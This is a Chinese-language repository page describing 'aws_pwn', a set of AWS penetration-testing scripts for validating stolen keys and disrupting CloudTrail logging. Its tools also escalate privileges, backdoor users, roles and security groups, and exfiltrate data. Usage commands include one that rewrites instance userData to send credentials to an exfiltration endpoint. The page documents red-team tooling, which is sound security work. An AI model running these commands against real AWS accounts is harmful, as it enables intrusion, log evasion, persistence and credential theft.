dagrz/aws_pwn

GitHub: dagrz/aws_pwn

一套粗犷但实用的 AWS 渗透测试脚本集合,覆盖云环境攻击全生命周期的各个阶段。

Stars: 1224 | Forks: 193

# AWS pwn ## 概述 这是一组编写极其糟糕的脚本集合,用于执行与 AWS 渗透测试相关的各种任务。如果它对你的环境不起作用,请不要难过。这可能是因为自工具编写以来 AWS 已经发生了变化,也可能是代码本身写得太烂。无论哪种情况,都欢迎大家积极贡献。 这里的大部分垃圾代码由 Daniel Grzelak 编写,但也有许多其他人的贡献,其中最突出的是 Mike Fuller。 ## 环境要求 ``` pip install -r requirements.txt ``` 请确保已在 `~/.aws/credentials` 中[配置你的 aws 凭证](https://github.com/boto/boto3#quick-start)。 ## 信息收集 与获取前置权限阶段的信息收集相关的操作。 * validate_iam_access_keys.py - 给定一个包含访问密钥 + Secret [+ 会话令牌] 组合的 TSV 文件,检查访问权限的有效性并返回主体的身份信息。 ``` ./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json ``` * validate_s3_buckets.py - 给定一个每行一个词的文本文件,检查相应的 S3 存储桶是否存在,并返回基本的识别信息。 ``` ./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json ``` * validate_iam_principals.py - 给定一个包含主体(如 user/admin, role/deploy)的文本文件,检查这些主体是否存在于指定的账户中。 ``` ./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json ``` * validate_accounts.py - 给定一个包含账户 ID 和账户别名的文本文件,检查这些账户是否存在。 ``` ./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json ``` ## 漏洞利用 帮助你在一个账户中获得初始立足点的工具。 ## 隐蔽行动 在入侵账户后,可能有助于你保持隐藏的操作。 * disrupt_cloudtrail.py - 尝试以指定的方式中断或削弱 cloudtrail 日志记录。 ``` ./disrupt_cloudtrail.py -s ``` ## 内部探索 帮助你了解你已经拿下的内容的工具。 * dump_account_data.sh - 调用大量基于账户的通用读取/列表/获取/描述函数,并将数据保存到指定位置。虽然动静很大,但非常适合用于获取某个时间点的快照。 ``` ./dump_account_data.sh /tmp/ ``` ## 权限提升 帮助你在账户中横向移动并收集不同级别访问权限的工具。 * dump_instance_attributes.py - 遍历账户中的每个 EC2 实例,并检索指定的实例属性。通常用于检索 userData,因为它往往包含密钥等敏感信息。 ``` ./dump_instance_attributes.py -u -o /tmp/ ``` * dump_cloudformation_stack_descriptions.py - 检索所有现有堆栈以及过去 90 天内删除的所有堆栈的堆栈描述。堆栈描述中的参数通常包含密码和其他敏感信息。 ``` ./dump_cloudformation_stack_descriptions.py -o /tmp/data ``` * assume_roles.py - 尝试代入文件中或由 list-roles API 提供的所有角色 (ARN)。 ``` ./assume_roles.py -o /tmp/out.json ``` * add_iam_policy - 向指定的用户、角色或组添加管理员权限及所有操作的策略。需要具有 IAM putPolicy 或 attachPolicy 权限。 ``` ./add_iam_policy.py -u myuser -r myrole -g mygroup ``` * bouncy_bouncy_cloudy_cloud - 重启指定的 ec2 实例并重写其 userData,以便你可以执行任意代码或窃取临时的实例配置文件凭证。 ``` ./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint ``` ## 权限维持 帮助你维持对账户访问权限的工具。 * rabbit_lambda - 一个示例 Lambda 函数,通过创建被删除用户的更多副本来响应用户删除事件。 * cli_lambda - 一个充当 aws cli 代理且不需要凭证的 Lambda 函数。 * backdoor_created_users_lambda - 一个为每个新创建的用户添加访问密钥的 Lambda 函数。 * backdoor_created_roles_lambda - 一个为每个新创建的角色添加信任关系的 Lambda 函数。 * backdoor_created_security_groups_lambda - 一个为每个新创建的安全组添加指定入站访问规则的 Lambda 函数。 * backdoor_all_users.py - 为账户中的每个用户添加访问密钥。 * backdoor_all_roles.py - 为账户中的每个角色添加信任关系。需要编辑文件以设置角色 ARN。 * backdoor_all_security_groups.py - 为账户中的每个安全组添加指定的入站访问规则。需要编辑文件以设置该规则。 ## 数据窃取 帮助你以 AWS 的方式提取和传输数据的工具。 * dynamodump - https://github.com/bchew/dynamodump ## 杂项 其他我因为太蠢或太懒而未能分类的东西。 * reserved_words.txt - 包含一些在 AWS 中具有特殊含义或可能即将具有特殊含义的单词/标记列表。 * endpoints.txt - AWS 暴露的 API 端点的最新列表。 * integrations.txt - 包含通过角色或访问密钥与 AWS 集成的服务及其账户 ID、默认用户名等信息的 TSV 文件。 * download_docs.sh - 用于 wget 下载所有 AWS 文档的命令行,因为我太笨了,每次都要浪费时间重新写。 ## 待办事项 * 为用户添加密码以维持持久性 * 导出堆栈资源 * 验证 mfa * 向 dump_account_data 添加更多调用 * 添加更多日志中断方法 * 创建一个 cloudtrail 解析脚本,用于从 cloudtrail 中提取有用信息 * 创建一个 S3 存储桶权限枚举工具 * 创建一个从磁盘常见位置抓取 AWS 凭证的工具 * 创建克隆工具 * 创建一个使用 passrole 的愚蠢的权限提升工具 * 验证队列 * 验证通知主题 * 修改持久化脚本,使其使用参数而不是脚本内部的常量
标签:AWS, AWS漏洞, CloudTrail禁用, DPI, IAM枚举, Pentest, Python, S3存储桶扫描, 云合规, 云攻击, 云环境探测, 凭据验证, 协议分析, 反取证, 安全评估, 应用安全, 插件系统, 数据展示, 无后门, 无线安全, 权限提升, 红队, 资产收集, 逆向工具